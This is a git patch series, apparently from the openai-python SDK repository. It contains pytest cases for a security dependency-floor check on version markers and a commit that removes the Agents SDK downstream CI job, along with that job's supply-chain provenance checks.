+ "python_full_version >= '3.14.0'",
+ ["python_full_version < '3.15.0'", "python_full_version >= '3.15.0'"],
+ False,
+ id="ordered-final-complements-cannot-hide-prerelease-gap",
+ ),
+ pytest.param(
+ "python_full_version >= '3.15.0a1'",
+ ["python_full_version >= '3.15.0a1'"],
+ True,
+ id="reviewed-prerelease-floor-covers-complete-prerelease-domain",
+ ),
+ ],
+)
+def test_transitive_prerelease_security_boundaries_cannot_hide_unprotected_domains(
+ tmp_path: Path, resolution_marker: str, protected_markers: list[str], accepted: bool
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"],
+ head_requirements=["patch-me>=1.1"],
+ base_packages=[("patch-me", "1"), ("danger", "1")],
+ head_packages=[("patch-me", "1.1"), ("danger", "2")],
+ base_constraints=["danger>=1; " + marker for marker in protected_markers],
+ head_constraints=["danger>=2; " + marker for marker in protected_markers],
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("marker", "accepted"),
+ [
+ pytest.param("python_version == '3.10.0'", True, id="pep440-equality-normalizes-zero-component"),
+ pytest.param("python_version === '3.10'", True, id="raw-equality-covers-exact-python-minor"),
+ pytest.param("python_version === '3.10.0'", False, id="raw-equality-cannot-fake-python-minor-coverage"),
+ pytest.param("python_version === '3.10.00'", False, id="raw-equality-rejects-noncanonical-zero-component"),
+ pytest.param("python_version === '03.10'", False, id="raw-equality-rejects-zero-padded-python-major"),
+ ],
+)
+@pytest.mark.parametrize("scope", ["constraint", "build", "group"])
+def test_transitive_python_security_boundaries_preserve_raw_arbitrary_equality(
+ tmp_path: Path, marker: str, accepted: bool, scope: str
+) -> None:
+ previous, updated = "danger>=1; " + marker, "danger>=2; " + marker
+ resolution = "python_version == '3.10'"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"],
+ head_requirements=["patch-me>=1.1"],
+ base_packages=[("patch-me", "1"), ("danger", "1")],
+ head_packages=[("patch-me", "1.1"), ("danger", "2")],
+ base_constraints=[previous] if scope == "constraint" else None,
+ head_constraints=[updated] if scope == "constraint" else None,
+ base_build_constraints=[previous] if scope == "build" else None,
+ head_build_constraints=[updated] if scope == "build" else None,
+ base_dependency_groups={"reviewed": [previous]} if scope == "group" else None,
+ head_dependency_groups={"reviewed": [updated]} if scope == "group" else None,
+ base_resolution_markers={("danger", "1"): [resolution]},
+ head_resolution_markers={("danger", "2"): [resolution]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("previous_markers", "updated_markers", "accepted"),
+ [
+ pytest.param(
+ ["python_full_version < '3.12'"],
+ [
+ "python_full_version < '3.11'",
+ "python_full_version >= '3.11' and python_full_version < '3.12'",
+ ],
+ True,
+ id="stable-only-lock-refinement-keeps-existing-complement-semantics",
+ ),
+ pytest.param(
+ ["python_full_version >= '3.11.0a1' and python_full_version < '3.12'"],
+ ["python_full_version >= '3.11' and python_full_version < '3.12'"],
+ False,
+ id="explicit-prerelease-lock-domain-cannot-be-dropped-during-refinement",
+ ),
+ ],
+)
+def test_resolution_refinement_preserves_explicit_prerelease_domains(
+ tmp_path: Path, previous_markers: list[str], updated_markers: list[str], accepted: bool
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"],
+ head_requirements=["patch-me>=1.1"],
+ base_packages=[("patch-me", "1"), ("danger", "2")],
+ head_packages=[("patch-me", "1.1"), ("danger", "2")],
+ base_resolution_markers={("danger", "2"): previous_markers},
+ head_resolution_markers={("danger", "2"): updated_markers},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variable", "bound", "next_release"),
+ [
+ pytest.param("python_full_version", "3.15.0", "3.15.1", id="python-full-final-release"),
+ pytest.param("python_full_version", "3.15.0a1", "3.15.0a2", id="python-full-prerelease"),
+ pytest.param("implementation_version", "3.15.0", "3.15.1", id="implementation-final-release"),
+ pytest.param("platform_release", "6.8.0", "6.8.1", id="platform-final-release"),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+@pytest.mark.parametrize("missing_posts", [False, True], ids=["complete-inclusive-domain", "missing-post-release-gap"])
+@pytest.mark.parametrize("strict_floor", [False, True], ids=["inclusive-ceiling", "strict-floor"])
+def test_inclusive_version_marker_partitions_preserve_post_release_contexts(
+ tmp_path: Path,
+ variable: str,
+ bound: str,
+ next_release: str,
+ protected: bool,
+ missing_posts: bool,
+ strict_floor: bool,
+) -> None:
+ if strict_floor:
+ original_marker = f"{variable} >= '{bound}.post0'" if missing_posts else f"{variable} > '{bound}'"
+ replacement_marker = f"{variable} > '{bound}'"
+ else:
+ original_marker = f"{variable} < '{next_release}'" if missing_posts else f"{variable} <= '{bound}'"
+ replacement_marker = f"{variable} <= '{bound}'"
+ original = "danger>=1,<3; " + original_marker
+ replacements = [
+ f"danger>=1,<3; {replacement_marker} and sys_platform == 'linux'",
+ f"danger>=1,<3; {replacement_marker} and sys_platform != 'linux'",
+ ]
+ resolutions = {
+ ("danger", "1"): ["sys_platform == 'linux'"],
+ ("danger", "2"): ["sys_platform != 'linux'"],
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"] + ([] if protected else [original]),
+ head_requirements=["patch-me>=1.1"] + ([] if protected else replacements),
+ base_packages=[("patch-me", "1"), ("danger", "1"), ("danger", "2")],
+ head_packages=[("patch-me", "1.1"), ("danger", "1"), ("danger", "2")],
+ base_constraints=[original] if protected else None,
+ head_constraints=replacements if protected else None,
+ base_resolution_markers=resolutions,
+ head_resolution_markers=resolutions,
+ )
+ assert result.returncode == (1 if missing_posts else 0), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("scope", ["runtime", "optional", "constraint", "build", "group"])
+@pytest.mark.parametrize("marked", [False, True], ids=["unmarked", "marker-scoped"])
+def test_arbitrary_equality_dependency_pins_can_track_reviewed_security_upgrades(
+ tmp_path: Path, scope: str, marked: bool
+) -> None:
+ marker = "; python_version >= '3.11'" if marked else ""
+ previous, current = "danger===1" + marker, "danger===2" + marker
+ protected = scope in {"constraint", "build", "group"}
+ resolutions = ["python_full_version >= '3.11'"] if marked else None
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"] + ([] if protected else [previous]),
+ head_requirements=["patch-me>=1.1"] + ([] if protected else [current]),
+ base_packages=[("patch-me", "1"), ("danger", "1")],
+ head_packages=[("patch-me", "1.1"), ("danger", "2")],
+ optional=scope == "optional",
+ base_constraints=[previous] if scope == "constraint" else None,
+ head_constraints=[current] if scope == "constraint" else None,
+ base_build_constraints=[previous] if scope == "build" else None,
+ head_build_constraints=[current] if scope == "build" else None,
+ base_dependency_groups={"reviewed": [previous]} if scope == "group" else None,
+ head_dependency_groups={"reviewed": [current]} if scope == "group" else None,
+ base_resolution_markers={("danger", "1"): resolutions} if resolutions is not None else None,
+ head_resolution_markers={("danger", "2"): resolutions} if resolutions is not None else None,
+ )
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("previous", "current", "before", "after", "accepted"),
+ [
+ pytest.param("danger===1", "danger===1", ["1"], ["1"], True, id="unchanged-canonical-arbitrary-pin"),
+ pytest.param("danger===1.0", "danger===2.0", ["1.0"], ["2.0"], True, id="raw-dotted-arbitrary-pin-upgrade"),
+ pytest.param("danger===1!1", "danger===1!2", ["1!1"], ["1!2"], True, id="raw-epoch-arbitrary-pin-upgrade"),
+ pytest.param(
+ "danger===1.post1",
+ "danger===1.post2",
+ ["1.post1"],
+ ["1.post2"],
+ True,
+ id="raw-post-release-arbitrary-pin-upgrade",
+ ),
+ pytest.param("danger===1", "danger>=1", ["1"], ["1"], False, id="arbitrary-pin-cannot-widen-to-floor"),
+ pytest.param("danger===1", "danger==1", ["1"], ["1"], False, id="arbitrary-pin-cannot-widen-to-pep440-pin"),
+ pytest.param("danger==1", "danger===1", ["1"], ["1"], False, id="pep440-pin-cannot-narrow-to-arbitrary-pin"),
+ pytest.param("danger===1", "danger===3", ["1"], ["2"], False, id="arbitrary-pin-must-match-patched-lock"),
+ pytest.param("danger===2", "danger===1", ["2"], ["1"], False, id="arbitrary-pin-cannot-follow-downgrade"),
+ pytest.param("danger===1", "danger===2", ["1", "2"], ["2"], False, id="arbitrary-pin-cannot-hide-old-alias"),
+ pytest.param(
+ "danger===1.0", "danger===2", ["1"], ["2"], False, id="trailing-zero-arbitrary-pin-is-not-raw-lock"
+ ),
+ pytest.param("danger===1", "danger===2", ["1.0"], ["2"], False, id="old-lock-alias-cannot-match-raw-pin"),
+ pytest.param("danger===1", "danger===2", ["1"], ["2.0"], False, id="new-lock-alias-cannot-match-raw-pin"),
+ pytest.param("danger===01", "danger===2", ["1"], ["2"], False, id="zero-padded-arbitrary-pin-fails-closed"),
+ pytest.param("danger===0!1", "danger===2", ["1"], ["2"], False, id="epoch-arbitrary-pin-fails-closed"),
+ pytest.param(
+ "danger===1.post1",
+ "danger===2",
+ ["1.post01"],
+ ["2"],
+ False,
+ id="post-release-arbitrary-pin-rejects-nonraw-serial",
+ ),
+ pytest.param("danger===1.*", "danger===2", ["1"], ["2"], False, id="wildcard-arbitrary-pin-fails-closed"),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_arbitrary_equality_dependency_pins_preserve_raw_security_boundaries(
+ tmp_path: Path, previous: str, current: str, before: list[str], after: list[str], accepted: bool, protected: bool
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"] + ([] if protected else [previous]),
+ head_requirements=["patch-me>=1.1"] + ([] if protected else [current]),
+ base_packages=[("patch-me", "1"), *[("danger", release) for release in before]],
+ head_packages=[("patch-me", "1.1"), *[("danger", release) for release in after]],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[current] if protected else None,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("pin", "locked", "accepted"),
+ [
+ pytest.param("plugin===1", "1", True, id="reviewed-arbitrary-pin-can-approve-new-extra-package"),
+ pytest.param("plugin===1", "1.0", False, id="arbitrary-pin-cannot-approve-nonraw-extra-package-version"),
+ pytest.param("plugin===1", "2", False, id="arbitrary-pin-cannot-approve-another-extra-package-version"),
+ ],
+)
+def test_arbitrary_equality_pin_reviews_exact_new_extra_release(
+ tmp_path: Path, pin: str, locked: str, accepted: bool
+) -> None:
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
+ ("parent", "1"): {"feature": [{"name": "plugin"}]}
+ }
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", "parent"],
+ head_requirements=["patch-me>=1.1", "parent", "parent[feature]"],
+ base_packages=[("patch-me", "1"), ("parent", "1")],
+ head_packages=[("patch-me", "1.1"), ("parent", "1"), ("plugin", locked)],
+ head_constraints=[pin],
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("optional", [False, True], ids=["published-runtime", "published-optional"])
+@pytest.mark.parametrize(
+ ("previous", "current"),
+ [
+ pytest.param("danger==1", "danger==1,===1", id="raw-pin-cannot-narrow-existing-pep440-equality"),
+ pytest.param("danger>=1,<2", "danger>=1,<2,===1", id="raw-pin-cannot-narrow-existing-published-range"),
+ ],
+)
+def test_new_arbitrary_equality_bound_cannot_narrow_existing_published_source(
+ tmp_path: Path, previous: str, current: str, optional: bool
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1", previous],
+ head_requirements=["patch-me>=1.1", current],
+ base_packages=[("patch-me", "1"), ("danger", "1")],
+ head_packages=[("patch-me", "1.1"), ("danger", "1")],
+ optional=optional,
+ )
+ assert result.returncode != 0
From 910b3164adae7cca77d883ee523fee8eec6e6d96 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 27 Aug 2026 17:01:00 +0000
Subject: [PATCH 077/341] ci: remove the Agents SDK downstream check (#3750)
## Summary
Remove the Agents SDK compatibility check from this repository's CI,
matching
[openai-node#2033](https://github.com/openai/openai-node/pull/2033).
Downstream compatibility is useful signal, but it belongs outside the
SDK repository, where failures can be handled without holding up
unrelated SDK changes.
Intentional type changes can create a chicken-and-egg problem: Agents
needs the SDK change before it can adapt, while SDK CI waits for Agents
to compile. Requiring a pinned downstream checkout also adds ongoing
maintenance and can keep reporting incompatibilities that Agents has
already fixed.
This removes the Agents job, its dedicated pins and build exceptions,
and the tests that only supported it. The SDK's own breaking-change
checks and dependency protections remain unchanged.
For security reasons we added pins in
https://github.com/openai/openai-python/pull/3641 but makes it very
difficult to maintain this check
---
.github/workflows/detect-breaking-changes.yml | 341 ------------
tests/test_agents_lock_revalidation.py | 521 ------------------
tests/test_uv_workflows.py | 410 +-------------
3 files changed, 2 insertions(+), 1270 deletions(-)
delete mode 100644 tests/test_agents_lock_revalidation.py
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index 0a0f7be6d0..181e381d02 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -55,344 +55,3 @@ jobs:
run: |
test -f ./scripts/detect-breaking-changes || { echo "Missing scripts/detect-breaking-changes"; exit 1; }
./scripts/detect-breaking-changes "$BASE_SHA"
-
- agents_sdk:
- runs-on: 'ubuntu-latest'
- name: Detect Agents SDK regressions
- if: github.repository == 'openai/openai-python' && github.event_name == 'pull_request'
- steps:
- # Setup this sdk
- - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- with:
- persist-credentials: false
- path: openai-python
-
- - name: Verify dependency source provenance before installing tools
- working-directory: openai-python
- run: |
- python -I -c 'import ast, os, pathlib, re, subprocess, tomllib; config = tomllib.loads(pathlib.Path("pyproject.toml").read_text()); fork = os.environ.get("UNTRUSTED_BUILD_FORK", "0") == "1"; base = os.environ.get("TRUSTED_BUILD_BASE_SHA", ""); assert not fork or re.fullmatch(r"[0-9a-f]{40}", base), "Untrusted fork build base commit"; assert not fork or subprocess.check_output(["git", "remote", "get-url", "origin"], text=True).strip() in {"https://github.com/openai/openai-python", "https://github.com/openai/openai-python.git"}, "Untrusted fork build base origin"; subprocess.run(["git", "fetch", "--no-tags", "--depth=1", "origin", base], check=True) if fork else None; trusted = tomllib.loads(subprocess.check_output(["git", "show", base + ":pyproject.toml"], text=True)) if fork else config; hatch = lambda document: document.get("tool", {}).get("hatch", {}); executable = lambda document: (hatch(document).get("build", {}).get("hooks", {}), tuple(sorted((name, target.get("hooks", {})) for name, target in hatch(document).get("build", {}).get("targets", {}).items() if target.get("hooks", {}))), hatch(document).get("metadata", {}).get("hooks", {})); assert not fork or executable(config) == executable(trusted), "Untrusted fork Hatch executable hook configuration"; sections = executable(config); paths = [definition.get("path", "hatch_build.py") for mapping in [sections[0], *[item[1] for item in sections[1]], sections[2]] for plugin, definition in mapping.items() if plugin == "custom" or "path" in definition] if fork else []; assert not fork or len(paths) <= 32 and all(isinstance(location, str) and bool(location) and len(location) <= 512 and not (candidate := pathlib.Path(location)).is_absolute() and bool(candidate.parts) and ".." not in candidate.parts and candidate.is_file() and all(not pathlib.Path(*candidate.parts[:index]).is_symlink() for index in range(1, len(candidate.parts) + 1)) and candidate.read_bytes() == subprocess.check_output(["git", "show", base + ":" + candidate.as_posix()]) for location in paths), "Untrusted fork Hatch executable hook source"; project = config["project"]; lock = tomllib.loads(pathlib.Path("uv.lock").read_text()); trusted_lock = tomllib.loads(subprocess.check_output(["git", "show", base + ":uv.lock"], text=True)) if fork else lock; roots = [package for package in lock["package"] if package.get("name") == project["name"] and package.get("version") == project["version"] and package.get("source") == {"editable": "."}]; build = config.get("build-system", {}); uv = config.get("tool", {}).get("uv", {}); requires = build.get("requires", []); constraints = uv.get("build-constraint-dependencies", []); reviewed = config.get("dependency-groups", {}).get("build", []); canonical = lambda value: re.sub(r"[-_.]+", "-", value).lower(); package_identity = lambda package: (canonical(package["name"]), package["version"], package.get("source", {}).get("registry", ""), tuple(sorted((artifact["url"], artifact["hash"]) for artifact in (([package["sdist"]] if "sdist" in package else []) + package.get("wheels", []))))); normalize = lambda value: re.sub(r"\s+", "", value); identity = lambda value: (canonical((item := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", value)).group(1)), item.group(2), ast.dump(ast.parse(item.group(3), mode="eval")) if item.group(3) is not None else ""); assert len(roots) == 1 and canonical(project["name"]) == "openai" and sum(canonical(package.get("name", "")) == "openai" for package in lock["package"]) == 1 and all(package is roots[0] or package.get("source") == {"registry": "https://pypi.org/simple"} and isinstance(package.get("wheels"), list) and bool(package.get("wheels")) and (artifacts := ([package["sdist"]] if "sdist" in package else []) + package.get("wheels", [])) and all(isinstance(artifact, dict) and re.fullmatch(r"https://files\.pythonhosted\.org/packages/[^\s?#]+", artifact.get("url", "")) and re.fullmatch(r"sha256:[0-9a-f]{64}", artifact.get("hash", "")) for artifact in artifacts) for package in lock["package"]) and (not fork or sorted(package_identity(package) for package in lock["package"] if package is not roots[0]) == sorted(package_identity(package) for package in trusted_lock["package"] if package.get("source") != {"editable": "."})) and build.get("build-backend") == "hatchling.build" and "backend-path" not in build and isinstance(requires, list) and bool(requires) and isinstance(constraints, list) and bool(constraints) and isinstance(reviewed, list) and bool(reviewed) and not any(uv.get(key) for key in ("sources", "index", "indexes", "index-url", "extra-index-url", "default-index", "find-links", "index_url", "extra_index_url", "default_index", "find_links", "no-binary", "no-binary-package", "no_binary", "no_binary_package")) and not any(pathlib.Path(path).exists() for path in ("uv.toml", ".uv.toml")) and all(isinstance(requirement, str) and (match := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", requirement)) is not None and (match.group(3) is None or isinstance(marker := ast.parse(match.group(3), mode="eval").body, ast.Compare) and isinstance(marker.left, ast.Name) and len(marker.ops) == 1 and type(marker.ops[0]) in {ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.In, ast.NotIn} and len(marker.comparators) == 1 and isinstance(marker.comparators[0], ast.Constant) and isinstance(marker.comparators[0].value, str)) and any(canonical(package.get("name", "")) == canonical(match.group(1)) and package.get("version") == match.group(2) and package.get("source") == {"registry": "https://pypi.org/simple"} for package in lock["package"]) for requirement in requires + constraints + reviewed) and {normalize(requirement) for requirement in constraints} == {normalize(requirement) for requirement in reviewed} and {normalize(requirement) for requirement in requires}.issubset({normalize(requirement) for requirement in constraints}) and any(canonical(requirement.split("==", 1)[0].strip()) == "hatchling" for requirement in requires) and build.get("build-backend") == trusted.get("build-system", {}).get("build-backend") and {identity(requirement) for requirement in requires} == {identity(requirement) for requirement in trusted.get("build-system", {}).get("requires", [])} and {identity(requirement) for requirement in constraints} == {identity(requirement) for requirement in trusted.get("tool", {}).get("uv", {}).get("build-constraint-dependencies", [])} and {identity(requirement) for requirement in reviewed} == {identity(requirement) for requirement in trusted.get("dependency-groups", {}).get("build", [])}, "Use only the public PyPI registry, reviewed artifacts, the exact editable root project, and locked reviewed build requirements in uv.lock"'
-
- - name: Set up uv
- uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
- with:
- version: '0.12.5'
- enable-cache: true
- working-directory: openai-python
- # Match the Agents SDK's type-checking runtime, not our minimum.
- python-version: '3.14'
-
- - name: Install dependencies
- working-directory: openai-python
- run: |
- uv sync --locked --all-extras
-
- # Setup the agents lib
- - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- with:
- persist-credentials: false
- repository: openai/openai-agents-python
- ref: 7e55afc9500d12937687988f1e91e900dcb4ad09
- path: openai-agents-python
-
- - name: Constrain Agents-only packages to reviewed locked versions
- id: reviewed_agents_constraints
- working-directory: openai-agents-python
- run: |
- constraints="$(mktemp "$RUNNER_TEMP/reviewed-agents-constraints.XXXXXXXX")"
- python -I - "$constraints" <<'PY'
- import collections
- import os
- import pathlib
- import re
- import subprocess
- import sys
- import tomllib
-
- PUBLIC = {"registry": "https://pypi.org/simple"}
-
- def reject(reason):
- raise SystemExit("Unreviewed Agents dependency constraint: " + reason)
-
- def canonical(value):
- if not isinstance(value, str):
- reject("invalid package name")
- normalized = re.sub(r"[-_.]+", "-", value).lower()
- if not re.fullmatch(r"[a-z0-9][a-z0-9-]*", normalized):
- reject("invalid package name")
- return normalized
-
- def checkout_origin(arguments, expected):
- origin = subprocess.check_output(arguments, text=True).strip()
- if origin not in {expected, expected + ".git"}:
- reject("untrusted checkout origin")
-
- checkout_origin(
- ["git", "remote", "get-url", "origin"],
- "https://github.com/openai/openai-agents-python",
- )
- sdk = pathlib.Path("../openai-python")
- if sdk.is_symlink() or not sdk.is_dir():
- reject("the local SDK must be the reviewed sibling checkout")
- checkout_origin(
- ["git", "-C", "../openai-python", "remote", "get-url", "origin"],
- "https://github.com/openai/openai-python",
- )
-
- agents = tomllib.loads(subprocess.check_output(["git", "show", "HEAD:uv.lock"], text=True))
- if os.environ.get("UNTRUSTED_BUILD_FORK") == "1":
- base = os.environ.get("TRUSTED_BUILD_BASE_SHA", "")
- if not re.fullmatch(r"[0-9a-f]{40}", base):
- reject("invalid immutable SDK base revision")
- sdk_content = subprocess.check_output(
- ["git", "-C", "../openai-python", "show", base + ":uv.lock"],
- text=True,
- )
- else:
- sdk_content = sdk.joinpath("uv.lock").read_text()
- sdk_lock = tomllib.loads(sdk_content)
-
- shared = {canonical(package.get("name")) for package in sdk_lock.get("package", [])}
- agents_only = collections.defaultdict(list)
- for package in agents.get("package", []):
- name = canonical(package.get("name"))
- if name in shared or name in {"openai", "openai-agents"}:
- continue
- if package.get("source") != PUBLIC:
- reject(name + " has an unreviewed package source")
- version = package.get("version")
- if not isinstance(version, str) or not re.fullmatch(r"[0-9][A-Za-z0-9.!+_-]*", version):
- reject(name + " has an unsafe package version")
- agents_only[name].append(version)
-
- target = pathlib.Path(sys.argv[1])
- runner_temp = pathlib.Path(os.environ["RUNNER_TEMP"]).resolve()
- if target.is_symlink() or not target.is_file() or target.parent.resolve() != runner_temp:
- reject("unsafe runner constraint-file path")
- pins = []
- for name, versions in sorted(agents_only.items()):
- if len(versions) != 1:
- continue
- if name == "pynput" and versions[0] != "1.8.1":
- reject("the reviewed pynput dependency changed")
- version = "1.6.8" if name == "pynput" else versions[0]
- pins.append(name + "==" + version)
- target.write_text("\n".join(pins) + "\n")
- PY
- printf 'path=%s\n' "$constraints" >> "$GITHUB_OUTPUT"
-
- - name: Link to local SDK
- working-directory: openai-agents-python
- env:
- UV_NO_BINARY_PACKAGE: 'openai openai-agents'
- UV_CONSTRAINT: ${{ steps.reviewed_agents_constraints.outputs.path }}
- run: uv add --no-sync ../openai-python
-
- - name: Verify relinked Agents lock package provenance
- working-directory: openai-agents-python
- run: |
- python -I <<'PY'
- import os
- import pathlib
- import re
- import subprocess
- import tomllib
-
- PUBLIC = {"registry": "https://pypi.org/simple"}
-
- def reject(reason):
- raise SystemExit("Unreviewed relinked Agents lock package: " + reason)
-
- def canonical(value):
- if not isinstance(value, str):
- reject("invalid package name")
- return re.sub(r"[-_.]+", "-", value).lower()
-
- def identity(package):
- name = canonical(package.get("name"))
- version = package.get("version")
- source = package.get("source")
- if not isinstance(version, str) or source != PUBLIC:
- reject(name + " has an unreviewed version or package source")
- artifacts = []
- if "sdist" in package:
- artifacts.append(("sdist", package["sdist"]))
- if "wheels" in package:
- wheels = package["wheels"]
- if not isinstance(wheels, list):
- reject(name + " has invalid wheels")
- artifacts.extend(("wheel", wheel) for wheel in wheels)
- if not artifacts:
- reject(name + " has no reviewed distribution artifacts")
- complete = []
- for kind, artifact in artifacts:
- if not isinstance(artifact, dict):
- reject(name + " has an invalid artifact")
- url, digest = artifact.get("url"), artifact.get("hash")
- if not isinstance(url, str) or not re.fullmatch(
- r"https://files\.pythonhosted\.org/packages/[^\s?#]+", url
- ):
- reject(name + " has an unreviewed artifact URL")
- if not isinstance(digest, str) or not re.fullmatch(r"sha256:[0-9a-f]{64}", digest):
- reject(name + " has an unreviewed artifact digest")
- if kind == "wheel" and not url.endswith(".whl"):
- reject(name + " has an invalid wheel")
- complete.append((kind, url, digest))
- if len(set(complete)) != len(complete):
- reject(name + " has duplicate artifact records")
- return name, version, tuple(sorted(source.items())), tuple(sorted(complete))
-
- def checkout_origin(arguments, expected):
- origin = subprocess.check_output(arguments, text=True).strip()
- if origin not in {expected, expected + ".git"}:
- reject("untrusted checkout origin")
-
- checkout_origin(
- ["git", "remote", "get-url", "origin"],
- "https://github.com/openai/openai-agents-python",
- )
- sdk = pathlib.Path("../openai-python")
- if sdk.is_symlink() or not sdk.is_dir():
- reject("the local SDK must be the reviewed sibling checkout")
- checkout_origin(
- ["git", "-C", "../openai-python", "remote", "get-url", "origin"],
- "https://github.com/openai/openai-python",
- )
-
- agents_lock = tomllib.loads(subprocess.check_output(["git", "show", "HEAD:uv.lock"], text=True))
- if os.environ.get("UNTRUSTED_BUILD_FORK") == "1":
- base = os.environ.get("TRUSTED_BUILD_BASE_SHA", "")
- if not re.fullmatch(r"[0-9a-f]{40}", base):
- reject("invalid immutable SDK base revision")
- sdk_content = subprocess.check_output(
- ["git", "-C", "../openai-python", "show", base + ":uv.lock"],
- text=True,
- )
- else:
- sdk_content = sdk.joinpath("uv.lock").read_text()
- sdk_lock = tomllib.loads(sdk_content)
- current = tomllib.loads(pathlib.Path("uv.lock").read_text())
-
- def reviewed_root(lock, name):
- matches = [
- package
- for package in lock.get("package", [])
- if canonical(package.get("name")) == name
- and package.get("source") == {"editable": "."}
- ]
- if len(matches) != 1 or not isinstance(matches[0].get("version"), str):
- reject("the trusted " + name + " root is invalid")
- return matches[0]
-
- agents_root = reviewed_root(agents_lock, "openai-agents")
- sdk_root = reviewed_root(sdk_lock, "openai")
- approved = set()
- for lock, root in ((agents_lock, agents_root), (sdk_lock, sdk_root)):
- for package in lock.get("package", []):
- if package is root:
- continue
- approved.add(identity(package))
-
- reviewed_pynput = [
- package
- for package in agents_lock.get("package", [])
- if canonical(package.get("name")) == "pynput"
- ]
- if (
- len(reviewed_pynput) != 1
- or reviewed_pynput[0].get("version") != "1.8.1"
- or reviewed_pynput[0].get("source") != PUBLIC
- ):
- reject("the reviewed pynput dependency changed")
- approved.add(
- identity(
- {
- "name": "pynput",
- "version": "1.6.8",
- "source": PUBLIC,
- "sdist": {
- "url": (
- "https://files.pythonhosted.org/packages/e7/32/"
- "fa88984fc580de9e9fd08ee36dfd78ea15658d5b0268095785da7ab75ba0/"
- "pynput-1.6.8.tar.gz"
- ),
- "hash": "sha256:68c1863d6a1520b44b6a915e866cbfa1b8d127aef9289f25183c93e28ee5049a",
- },
- "wheels": [
- {
- "url": (
- "https://files.pythonhosted.org/packages/33/0a/"
- "ea13c055a90b1aff5945e7eb330584f15e5282aead15a8f3cdb977a1534e/"
- "pynput-1.6.8-py2.py3-none-any.whl"
- ),
- "hash": (
- "sha256:42d6d58abe401a4c98ea04e443e61f74b6b0f97672f42042f566c68700ad0c65"
- ),
- }
- ],
- }
- )
- )
-
- seen = set()
- local_roots = {"openai-agents": 0, "openai": 0}
- for package in current.get("package", []):
- name = canonical(package.get("name"))
- if name in local_roots:
- local_roots[name] += 1
- expected = agents_root if name == "openai-agents" else sdk_root
- source = {"editable": "."} if name == "openai-agents" else {"directory": "../openai-python"}
- if package.get("version") != expected.get("version") or package.get("source") != source:
- reject("the local " + name + " root changed")
- continue
- actual = identity(package)
- if actual not in approved or actual in seen:
- reject(name + " is unreviewed or duplicated")
- seen.add(actual)
- if local_roots != {"openai-agents": 1, "openai": 1}:
- reject("the relinked lock must contain exactly the two reviewed local roots")
- PY
-
- - name: Install dependencies
- working-directory: openai-agents-python
- env:
- UV_NO_BINARY_PACKAGE: 'openai openai-agents'
- UV_LOCKED: '1'
- run: |
- reviewed_sources="$(python -c 'import pathlib, re, subprocess, tomllib; origin = subprocess.check_output(["git", "remote", "get-url", "origin"], text=True).strip(); assert origin in {"https://github.com/openai/openai-agents-python", "https://github.com/openai/openai-agents-python.git"}, "Use only the immutable reviewed Agents source distributions"; trusted = tomllib.loads(subprocess.check_output(["git", "show", "HEAD:uv.lock"], text=True)); current = tomllib.loads(pathlib.Path("uv.lock").read_text()); canonical = lambda value: re.sub(r"[-_.]+", "-", value).lower(); reviewed = {"aiohttp": ("3.12.15", "https://files.pythonhosted.org/packages/9b/e7/d92a237d8802ca88483906c388f7c201bbe96cd80a165ffd0ac2f6a8d59f/aiohttp-3.12.15.tar.gz", "sha256:4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2"), "markupsafe": ("3.0.2", "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"), "pyyaml": ("6.0.2", 